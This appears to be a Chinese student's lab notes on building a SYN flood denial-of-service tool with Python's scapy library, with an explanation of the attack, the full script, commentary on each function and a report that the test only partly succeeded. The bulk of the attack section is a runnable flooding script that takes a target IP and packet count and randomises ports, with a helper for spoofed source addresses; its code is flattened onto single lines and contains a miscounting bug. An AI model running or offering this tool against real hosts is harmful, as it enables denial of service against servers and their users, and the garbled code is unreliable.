[笔记]使用Python的scapy库实现SYN洪水攻击

时间: 2023-12-16 admin IT培训

[笔记]使用Python的scapy库实现SYN洪水攻击

[笔记]使用Python的scapy库实现SYN洪水攻击

  • 前言

        我在实验过程中,要求使用多种工具实现SYN泛洪攻击,之前使用了kali Linux下的hping3实验SYN攻击,然后我最后了解到了Python也可以写脚本,因此我在这篇文章中写下我学习的过程。我使用的环境是VS Code。在安装好Python编译环境之后,首先我们要安装Scapy这个第三方库。然后编写代码,发送数据包再用wireshark抓包验证。在实验正式开始之前让我们先了解一下什么是SYN攻击。

  • 什么是SYN攻击

        SYN攻击属于DOS攻击的一种,它利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。配合IP欺骗,SYN攻击能达到很好的效果,通常,客户端在短时间内伪造大量不存在的IP地址,向服务器不断地发送syn包,服务器回复确认包,并等待客户的确认,由于源地址是不存在的,服务器需要不断的重发直至超时,这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求被丢弃,目标系统运行缓慢,严重者引起网络堵塞甚至系统瘫痪。

  • 代码实现

from scapy.layers.inet import *
#引入IP(),TCP()等函数
from scapy.all import *
import random#生成随机的IP
def randomIP():ip=".".join(map(str,(random.randint(0,255) for i in range(4))))return ip#生成随机端口
def randomPort():port=random.randint(1000,10000)return port#syn-flood
def synFlood(count,dstIP):total=0print("Packets are sending ...")for i in range(count):#IPlayersrcIP='192.168.xxx.xxx'#此处为源ip地址,读者请自己填写dstIP=dstIPIPlayer = IP(src=srcIP,dst=dstIP)#TCPlayersrcPort=randomPort()TCPlayer = TCP(sport=srcPort, dport=randomPort(), flags="S")#发送包packet = IPlayer / TCPlayersend(packet)total+=119print("Total packets sent: %i" % total)#显示的信息
def info():print("#"*30)print("# Welcome to SYN Flood Tool  #")print("#"*30)#输入目标IP和端口dstIP = input("Target IP : ")return dstIPif __name__ == '__main__':dstIP=info()count=int(input("Please input the number of packets:"))synFlood(count,dstIP)
  • 代码介绍

   1.Scapy库

        Scapy 是一个 Python 程序,它使用户能够发送、嗅探、剖析和伪造网络数据包。此功能允许构建可以探测、扫描或攻击网络的工具。换句话说,Scapy 是一个强大的交互式数据包操作程序。它能够伪造或解码多种协议的数据包,通过网络发送它们,捕获它们,匹配请求和回复等等。Scapy 可以轻松处理大多数经典任务,例如扫描、跟踪路由、探测、单元测试、攻击或网络发现。它可以替代 hping、arpspoof、arp-sk、arping、p0f 甚至 Nmap、tcpdump 和 tshark 的某些部分。

        由于Scapy是Python的第三方库,所以我们首先得通过pip安装这个库

       安装Scapy库

 (我已经安装完了所以再次安装显示Scapy已经准备就绪)

   2.功能介绍

        我编写了一个随机ip地址生成函数,这样可以在后面的实验中随机伪造发送方的ip地址(虽然最后没有用上)

#生成随机的IP
def randomIP():ip=".".join(map(str,(random.randint(0,255) for i in range(4))))return ip

        还有一个随机端口生成函数,用来向不同的端口发送数据包

#生成随机端口
def randomPort():port=random.randint(1000,10000)return port

        最最重要的,数据包发送函数,实现,源和目的ip地址都可以自由设定,源和目的端口都可以随机,数据包数目可以指定的数据包发送功能

#syn-flood
def synFlood(count,dstIP):#简化函数,只需要知道数据包的数量和目标ip就可以发送数据包啦total=0print("Packets are sending ...")for i in range(count):#循环发送数据包,每次固定源地址和目的地址每次都随机发送和接收方的端口#IPlayersrcIP='192.168.xxx.xxx'#此处为源ip地址,读者请自己填写dstIP=dstIPIPlayer = IP(src=srcIP,dst=dstIP)#TCPlayersrcPort=randomPort()TCPlayer = TCP(sport=srcPort, dport=randomPort(), flags="S")#发送包packet = IPlayer / TCPlayersend(packet)total+=119print("Total packets sent: %i" % total)
  • 问题

        最开始我没有写下 from scapy.layers.inet import *这一段代码,导致我的IP(),TCP()函数始终报错。于是我查阅了Scapy的使用方法只要加上以上那一段就可以正常使用(具体原因没有细究)

  • 实验

可以看到实验成功的发送了SYN数据包

 抓包验证:(数据包的量和上面的代码对不上是因为上面的截图是我在实验完成后补写的)

         显而易见这次的实验并没有完全成功,虽然SYN的数据包构造成功了,但是接收方的回复却不正确,接收方始终回复的是[RST,ACK]数据包。这个问题困扰了我很久,我在做hping3实验的时候也遇到了同样的情况,希望得到大佬的指教!!

  • 总结

        这一篇笔记,记录了一次不算完全成功的实验过程。以后我也希望通过记笔记的形式向大家分享我的学习过程,巩固我的学习知识,理清我的学习思路,我会尽量详细的解释各种过程,让许多像我一样初入这样的领域的人得到很多细小问题上的支持。(最后 本文的代码有部分参考自网络,如有不妥之处还望大佬指正)